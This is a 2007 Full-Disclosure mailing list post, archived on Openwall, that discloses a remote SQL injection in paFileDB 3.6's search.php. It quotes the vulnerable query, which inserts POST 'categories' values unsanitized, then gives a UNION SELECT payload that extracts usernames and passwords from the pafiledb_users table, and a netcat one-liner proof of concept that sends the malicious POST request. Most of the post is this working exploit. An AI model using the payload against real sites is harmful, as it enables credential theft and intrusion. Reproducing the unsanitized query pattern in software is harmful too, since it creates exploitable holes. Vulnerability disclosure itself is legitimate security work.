full-disclosure - paFileDB 3.6 (search.php) Remote SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 14 Jul 2007 12:19:38 +0200
From: pUm <hijacka@...glemail.com>
To: hijacka@...glemail.com
Subject: paFileDB 3.6 (search.php) Remote SQL Injection

Site: http://www.phparena.net/pafiledb
Description: SQL injection (categories) in includes/search.php
Code: $results = $db->GetArray("SELECT * FROM ".$dbPrefix."files WHERE
(".$searchin.") AND file_catid IN (".implode(',',
$_POST['categories']).")");

Comment:"ouuch"

SQL: ) UNION SELECT ALL
null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM (pafiledb_users

POC:
host="www.example.com"; echo -e "POST
http://$host/index.php?act=search&process HTTP/1.1\nHost:
$host\nContent-Length:
302\n\nquery=test&search_in[]=file_name&search_in[]=file_desc&search_in[]=file_longdesc&search_in[]=file_creator&search_in[]=file_version&categories[]=1)
UNION SELECT ALL
null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM (pafiledb_users"| netcat $host 80

Vendor: was informed, but did not response yet...
credits: h4si & pUm

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/